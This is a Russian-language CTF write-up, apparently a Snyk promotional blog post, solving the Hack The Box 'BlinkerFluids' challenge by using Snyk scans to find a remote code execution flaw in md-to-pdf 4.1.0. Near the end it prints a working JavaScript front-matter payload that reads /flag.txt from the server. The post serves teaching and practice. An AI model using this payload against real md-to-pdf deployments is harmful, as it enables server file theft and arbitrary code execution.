Решайте задачи Hack the Box и другие CTF с помощью Snyk

Hack The Box (HTB) — это платформа для обучения кибербезопасности в игровой форме. Она подходит для начинающих пен-тестеров, а также для разработчиков, которые хотят стать чемпионами по безопасности — или просто лучше понять образ мышления противников — чтобы сделать свои приложения более безопасными.

Я верю в эффективность геймификации в обучении и образовании, потому что, давайте будем честными, кто не знает, каково это — участвовать в тренинге по внутренней безопасности или готовиться к сертификационному экзамену, и забыть все эти знания через полгода. HTB использует другой подход в своих практических играх с захватом флага (CTF), где игроки взламывают машину, обычно виртуальную машину Linux или Windows, обнаруживая и используя уязвимости, чтобы поймать два флага — сначала флаг обычного пользователя, а затем флаг корневого пользователя через повышение привилегий. Флаг — это просто содержимое определенного текстового файла, находящегося на машине.

Помимо «машин» (основных элементов платформы) на Hack The Box есть и более мелкие задания, в которых вы можете принять участие, называемые «Challenges». Эти задания обычно немного короче и требуют только один флаг, но часто сопровождаются полным набором ресурсных файлов для загрузки. Это может быть pcap-файл для анализа с помощью wireshark или полный исходный код приложения, который позволяет проанализировать структуру и код основного приложения — именно здесь Snyk подходит как нельзя лучше.

Snyk поможет вам быстрее найти уязвимости и возможные точки входа. Snyk CLI позволяет запускать тесты SAST (статическое тестирование безопасности приложений) и SCA (анализ состава исходного кода) для вашего проекта, а также сканирует файлы манифеста приложения, такие как package.json, на предмет известных уязвимостей в библиотеках с открытым исходным кодом. Он даже указывает на POCs.

Анализ задачи BlinkerFluids

Задача BlinkerFluids — это отличная демонстрация HTB. Поскольку это довольно простая задача и хороший способ начать, я использую ее в качестве демонстрации в этой статье.

Как только вы запустите задачу, вы получите IP и порт хоста (46.101.2.216:32221 в данном примере), который при открытии в браузере отобразит веб-сайт с простым интерфейсом.

Давайте посмотрим, что скрывается за этим целевым URL, открыв http://46.101.2.216:32221.

Приложение состоит из одной страницы со списком счетов и возможностью экспортировать счета в формат PDF, удалить их или создать новые.

Наведя курсор на ссылку экспорта PDF, мы видим, что PDF-файлы загружаются из папки статических активов.

Редактор для создания счетов-фактур, похоже, представляет собой WYSIWYG-редактор, который принимает ввод на языке разметки (Markdown), а затем преобразует его в PDF.

Прежде чем анализировать что-либо еще на реальном целевом хосте, давайте загрузим ресурсы, предоставляемые задачей. Скачав и распаковав zip-файл, мы получаем полный исходный код приложения, приложение Node, упакованное как образ Docker — с Dockerfile и package.json в комплекте.

Мы также видим flag.txt в корневой папке. В задачах HTB флаг обычно располагается по пути /flag.txt. Однако, файл в этом zip-пакете — это просто заполнитель, а не живой флаг, который мы ищем. Платформа HTB генерирует и вращает эти флаги в режиме онлайн с помощью своей собственной логики. Но в любом случае, теперь мы знаем рецепт и ингредиенты приложения BlinkerFluids.

─$ tree -L 2 
. 
├── build-docker.sh 
├── challenge 
│ ├── database.js 
│ ├── helpers 
│ ├── index.js 
│ ├── node_modules 
│ ├── package.json 
│ ├── package-lock.json
│ ├── routes 
│ ├── static 
│ └── views 
├── config 
│ └── supervisord.conf 
├── Dockerfile 
└── flag.txt 
7 directories, 8 files 
Вход в полноэкранный режим Выход из полноэкранного режима

Само приложение находится в подпапке «challenge». Как мы видим, в папке node_modules есть несколько библиотек node, установленных в качестве прямых и переходных зависимостей, а также папка static, в которой, похоже, хранятся экспортированные PDF-файлы, показанные выше.

╰─$ tree -L 2 
. 
├── database.js 
├── helpers 
│ └── MDHelper.js 
├── index.js 
├── node_modules 
│ ├── ... 
│ ├── marked 
│ ├── md-to-pdf 
│ ├── media-typer 
│ ├── ... 
├── package.json 
├── package-lock.json 
├── routes 
│ └── index.js 
├── static 
│ ├── css 
│ ├── images 
│ ├── invoices 
│ └── js 
└── views 
└── index.html 
379 directories, 7 files
Вход в полноэкранный режим Выход из полноэкранного режима

Проверка на уязвимости Snyk

Поскольку мы ищем способ взломать приложение и перехватить /flag.txt из онлайн экземпляра, мы можем подробно изучить код, чтобы понять логику. В целях экономии времени и места я не буду вдаваться в подробности в этой статье.

В основном мы ищем уязвимости либо в пользовательском коде, который был написан, либо в любых прямых или косвенных (переходных) зависимостях.

Теперь Snyk CLI позволяет нам делать и то, и другое. Если вы еще не установили Snyk, вы можете сделать это, выполнив следующие действия:

npm i -g snyk 
Войти в полноэкранный режим Выйти из полноэкранного режима

или любым другим предпочтительным способом, описанным на странице установки Snyk CLI.

Внутри подпапки challenge мы сначала запустим SAST-тест на пользовательском коде:

snyk code test
Вход в полноэкранный режим Выйти из полноэкранного режима

и получаем следующие результаты:

$ snyk code test

Testing 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge ...

  ✗ [Medium] Cross-Site Request Forgery (CSRF) 
    Path: index.js, line 2 
    Info: Consider using csurf middleware for your Express app to protect against CSRF attacks.

  ✗ [Medium] Information Exposure 
    Path: index.js, line 2 
    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers. 

  ✗ [Medium] Allocation of Resources Without Limits or Throttling 
    Path: routes/index.js, line 9 
    Info: This endpoint handler performs a file system operation and does
not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit. 

  ✗ [High] Cross-site Scripting (XSS) 
    Path: static/js/main.js, line 20 
    Info: Unsanitized input from data from a remote resource flows into append, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS). 

✔ Test completed

Organization: e-corp-demo 
Test type: Static code analysis 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 

Summary:

  4 Code issues found 
  1 [High] 3 [Medium]
Вход в полноэкранный режим Выход из полноэкранного режима

Хотя мы видим пару уязвимостей, даже высокой степени серьезности, нет ничего, что мы могли бы использовать — XSS в данном случае нам не поможет. Итак, давайте продолжим с

тестом SCA.

В рамках SCA-теста Snyk анализирует файлы манифеста проекта (в случае Node.js это package.json и package-lock.json).

$ cat package.json 
↵ 1 
{ 
        "name": "blinker-fluids", 
        "version": "1.0.0", 
        "description": "", 
        "main": "index.js", 
        "scripts": { 
                "start": "node index.js" 
        }, 
        "keywords": [], 
        "author": "rayhan0x01", 
        "license": "ISC", 
        "dependencies": { 
                "express": "4.17.3", 
                "md-to-pdf": "4.1.0", 
                "nunjucks": "3.2.3", 
                "sqlite-async": "1.1.3", 
                "uuid": "8.3.2" 
        }, 
        "devDependencies": { 
                "nodemon": "^1.19.1" 
        } 
} 
Вход в полноэкранный режим Выход из полноэкранного режима

Хотя в package.json у нас только 5 прямых зависимостей, на самом деле их 371, если включить переходные зависимости, как видно из package-lock.json. Это очень много уязвимостей, которые нужно проверять вручную. Давайте запустим:

$ npm install 
$ snyk test
Войти в полноэкранный режим Выйти из полноэкранного режима

Мы получим следующие результаты:

$ snyk test

Testing
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge...

Tested 286 dependencies for known issues, found 4 issues, 11 vulnerable paths. 

Issues to fix by upgrading: 

  Upgrade md-to-pdf@4.1.0 to md-to-pdf@5.0.2 to fix 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Remote Code Execution (RCE) [Critical Severity] 
[https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880] in md-to pdf@4.1.0 
    introduced by md-to-pdf@4.1.0 

Issues with no direct upgrade or patch: 
  ✗ Regular Expression Denial of Service (ReDoS) [High Severity] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi regex@2.1.1 
    introduced by md-to-pdf@4.1.0 > listr@0.14.3 > listr-update renderer@0.5.0 > strip-ansi@3.0.1 > ansi-regex@2.1.1 and 7 other path(s) This issue was fixed in versions: 3.0.1, 4.1.1, 5.0.1, 6.0.1 

Organization: e-corp-demo 
Package manager: npm 
Target file: package-lock.json 
Project name: blinker-fluids 
Open source: no 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
Licenses: enabled
Войти в полноэкранный режим Выйти из полноэкранного режима

Теперь это выглядит лучше. Мы можем проигнорировать проблемы ReDoS, так как перебои в обслуживании не помогут нам получить доступ к платформе. Но критическое Remote Code Execution (RCE) в проблеме md-to-pdf выглядит очень многообещающе, именно то, что нам нужно. Мы можем предположить, что md-to-pdf — это вспомогательная библиотека, используемая для преобразования разметки счета в PDF.

Здесь мы действительно можем увидеть мощь Snyk. Он за считанные секунды проанализировал зависимости проекта, указал на уязвимости и даже предоставил ссылку на базу данных уязвимостей Snyk — включая эксплойт PoC, а также ссылки на оригинальный отчет о проблеме:

Эта информация поможет с эксплойтом, но стоит отметить, что отчет Snyk также содержит рекомендации по устранению проблемы, как видно на скриншоте выше, так что это действительно действенный совет.

How to fix? 
Upgrade md-to-pdf to version 5.0.0 or higher.
Войдите в полноэкранный режим Выйти из полноэкранного режима

Но поскольку мы сейчас находимся в роли злоумышленника, давайте проверим исходный вопрос на Github для получения дополнительной информации.

Как указано в выпуске Github, проблема заключается в том, что библиотека gray-matter (используемая md-to-pdf для разбора front matter) по умолчанию раскрывает JS-движок. По сути, он запускает eval на данном Markdown, позволяя любому произвольному Javascript быть выполненным любым человеком, контролирующим содержимое Markdown.

Мы можем видеть оригинальный PoC, а также далее в комментариях немного измененный PoC.

Этот PoC пытается вывести список и распечатать каталог. Поскольку нас интересует содержимое флага, расположенного по адресу /flag.txt, мы используем это с небольшой модификацией, читая содержимое файла флага:

---js 
{ 
  css: `body::before { content: 
"${require('fs').readFileSync('/flag.txt')}"; display: block }`, } 
---
Вход в полноэкранный режим Выйти из полноэкранного режима

Вставив этот код в генератор счетов и нажав кнопку сохранить, мы получим PDF, содержащий нужный нам флаг.

Отправьте этот флаг, и задача решена. Отправляемся на следующую 🙂

Станьте чемпионом по CTF с Snyk

Задачи Hack The Box — это увлекательный способ узнать об уязвимостях и их эксплуатации. Snyk помог нам решить эту задачу Hack The Box, быстро проанализировав зависимости приложения и указав на критическую уязвимость RCE с информацией о том, как ее использовать. Она также предоставила разработчику приложения информацию о том, как устранить проблему.

Сохраните дату: 9 ноября компания Snyk проведет игру «Fetch the Flag CTF». Обязательно зарегистрируйтесь и присоединяйтесь к веселью — вас ждут 16 заданий.

Готовы защитить свой код?

Подготовьтесь к испытаниям CTF и обеспечьте безопасность своих приложений 24/7, создав бесплатный аккаунт Snyk уже сегодня.

Зарегистрируйтесь бесплатно

Об авторе ** ** **

Матиас Конрадт — предприниматель и специалист по кибербезопасности с опытом работы в области разработки программного обеспечения и предпродажной подготовки, посол Snyk и руководитель немецкого отделения DevSecCon. Он также является игроком в CTF. Загляните на его личный сайт здесь.

Оцените статью
devanswers.ru
Добавить комментарий